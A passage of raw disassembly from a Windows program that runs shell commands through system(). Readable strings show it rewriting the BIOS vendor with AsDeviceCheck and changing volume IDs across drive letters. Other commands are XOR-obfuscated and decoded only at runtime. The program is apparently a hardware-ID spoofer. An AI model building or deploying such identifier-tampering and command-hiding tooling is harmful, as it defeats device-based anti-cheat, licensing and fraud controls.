mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub rdi, r15
lea rdx, [r12 + 0x2e]
add rdx, r15
lea rcx, [rbx + r15]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x60]
jmp 0x14004a54e
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.140057c10
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rax + 0x18], r12
mov qword [rax + 0x10], rsi
mov byte [rax], 0
bts r14d, 0xf
mov dword [rsp + 0x40], r14d
mov r8d, ntohs
lea rdx, str.____NUL_2_1
lea rcx, [rbp + 0xb0]
call fcn.140036e70
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r12
mov byte [rax], 0
bts r14d, 0x10
mov rdx, qword [rbp + 0xc8]
cmp rdx, r12
jbe 0x14004a629
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a624
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a624
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0xc0], xmm10
mov byte [rbp + 0xb0], 0
btr r14d, 0xe
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004a67e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a679
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a679
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x60], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
mov r8d, 0x62
lea rdx, str.cd_C:WindowsSystem32__AsDeviceCheck__IVN__American_Megatrends_International__LLC.____NUL_2_1
lea rcx, [rbp + 0x230]
call fcn.14003f950
nop
lea rcx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0xf
cmova rcx, qword [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova rcx, qword [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova rcx, qword [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0xf
cmova rcx, qword [rbp + 0x250]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rcx, qword [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rcx, qword [rbp + 0x230]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0x2d0], 0x46454443
mov dword [rbp + 0x2d4], 0x4a494847
mov dword [rbp + 0x2d8], 0x4e4d584b
mov word [rbp + 0x2dc], 0x5152
lea r13, [rbp + 0x2d0]
mov r15b, 0x43
movzx ebx, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x30]
nop
lea rcx, [rbp - 0x20]
call fcn.1400492e0
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov edx, 1
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x48], r12
movsx ecx, r15b
movzx eax, cl
mov byte [rbp + 0x30], al
mov byte [rbp + 0x31], 0
mov rax, r12
sub rax, rdx
cmp rax, 0x28
jb 0x14004a8b7
lea rax, [rdx + 0x28]
mov qword [rbp + 0x40], rax
lea r15, [rbp + 0x30]
cmp r12, 0xf
cmova r15, qword [rbp + 0x30]
lea rax, [0x1401aa160]
cmp rax, r15
jbe 0x14004a863
lea rax, [r15 + rdx]
lea rcx, str.cd_C:WindowsSystem32__Volumeid.exe
cmp rcx, rax
ja 0x14004a863
cmp r15, rcx
ja 0x14004a85b
mov r12, rsi
jmp 0x14004a869
mov r12, r15
sub r12, rcx
jmp 0x14004a869
mov r12d, 0x28
lea r8, [rdx + 1]
lea rcx, [r15 + 0x28]
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
lea rdx, str.cd_C:WindowsSystem32__Volumeid.exe
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x28
sub r8, r12
lea rdx, str.cd_C:WindowsSystem32__Volumeid.exe
add rdx, 0x28
add rdx, r12
lea rcx, [r15 + r12]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x30]
mov r12d, reloc.WS2_32.dll_ntohs
jmp 0x14004a8e1
mov qword [rsp + 0x28], 0x28
lea rax, str.cd_C:WindowsSystem32__Volumeid.exe
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, bl
mov edx, 0x28
lea rcx, [rbp + 0x30]
call fcn.140057c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x18], r12
mov qword [rax + 0x10], rsi
mov byte [rax], 0
or r14d, 1
mov r8d, 2
lea rdx, [0x1401a9ed0]
lea rcx, [rbp + 0x10]
call fcn.140036e70
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x18], r12
mov qword [rax + 0x10], rsi
mov byte [rax], 0
or r14d, 2
mov r9, qword [rsp + 0x40]
lea r8, [rbp + 0x190]
movzx edx, dil
lea rcx, [rbp + 0xd0]
call fcn.1400575c0
or r14d, 4
mov r8d, ntohs
lea rdx, str.___NUL_2_1
lea rcx, [rbp + 0xd0]
call fcn.140036e70
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x228], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r12
mov byte [rax], 0
or r14d, 8
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14004a9fe
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a9f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab91
call fcn.140164db4
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], r12
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14004aa55
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aa4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab98
call fcn.140164db4
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14004aa90
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aa8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab9f
call fcn.140164db4
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], r12
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14004aad7
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004aba6
call fcn.140164db4
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], r12
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14004ab1e
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ab19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004abad
call fcn.140164db4
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0xf
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x14004ab78
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ab73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004abb4
call fcn.140164db4
inc r13
lea rax, [rbp + 0x2de]
cmp r13, rax
je 0x14004abbb
movzx r15d, byte [r13]
jmp 0x14004a7e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movups xmm2, xmmword [0x1401aa940]
movups xmmword [rsp + 0x40], xmm2
movsd xmm0, qword [0x1401aa950]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1401aa958]
mov word [rsp + 0x58], ax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1401aa959], 0
je 0x14004aec3
mov r8d, esi
cmp ebx, 2
jl 0x14004ae7f
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm11
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x1401aaf70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm3, xmmword [0x1401aaf80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x48]
xorps xmm3, xmm1
movd dword [rsp + 0x48], xmm3
movdqa xmm2, xmmword [0x1401aaf90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
movdqa xmm3, xmmword [0x1401aafa0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm3, xmm1
movd dword [rsp + 0x50], xmm3
movdqa xmm2, xmmword [0x1401aafb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14004ae90
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.E_QZCC]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1401aa5b8]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1401aa5c0]
mov dword [rbp + 0x28], eax
cmp byte [0x1401aa5c3], 0
je 0x14004b053
mov r8d, esi
cmp ebx, 2
jl 0x14004b013
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004af20
cmp r8d, 0x1c
jge 0x14004b053
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14004b020
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm2, xmmword [0x1401aa748]
movups xmmword [rsp + 0x40], xmm2
movsd xmm0, qword [0x1401aa758]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1401aa760]
mov word [rsp + 0x58], ax
movzx eax, byte [0x1401aa762]
mov byte [rsp + 0x5a], al
mov r8d, esi
cmp ebx, 2
jl 0x14004b319
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm11
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x1401aaf70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm3, xmmword [0x1401aaf80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x48]
xorps xmm3, xmm1
movd dword [rsp + 0x48], xmm3
movdqa xmm2, xmmword [0x1401aaf90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
movdqa xmm3, xmmword [0x1401aafa0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm3, xmm1
movd dword [rsp + 0x50], xmm3
movdqa xmm2, xmmword [0x1401aafb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14004b330
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1401aa9e8]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1401aa9f8]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1401aaa08]
movsd qword [rbp], xmm0
mov eax, dword [0x1401aaa10]
mov dword [rbp + 8], eax
movzx eax, word [0x1401aaa14]
mov word [rbp + 0xc], ax
movzx eax, byte [0x1401aaa16]
mov byte [rbp + 0xe], al
mov r8d, esi
cmp ebx, 2
jl 0x14004b4d3
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14004b3e0
cmp r8d, 0x2f
jge 0x14004b513
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14004b4e0
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401aa648]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1401aa658]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1401aa668]
movsd qword [rbp], xmm0
mov eax, dword [0x1401aa670]
mov dword [rbp + 8], eax
movzx eax, byte [0x1401aa674]
mov byte [rbp + 0xc], al
mov r8d, esi
cmp ebx, 2
jl 0x14004b663
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14004b570
cmp r8d, 0x2d
jge 0x14004b6a3
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14004b670
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401aa900]
movups xmmword [rbp - 0x20], xmm0
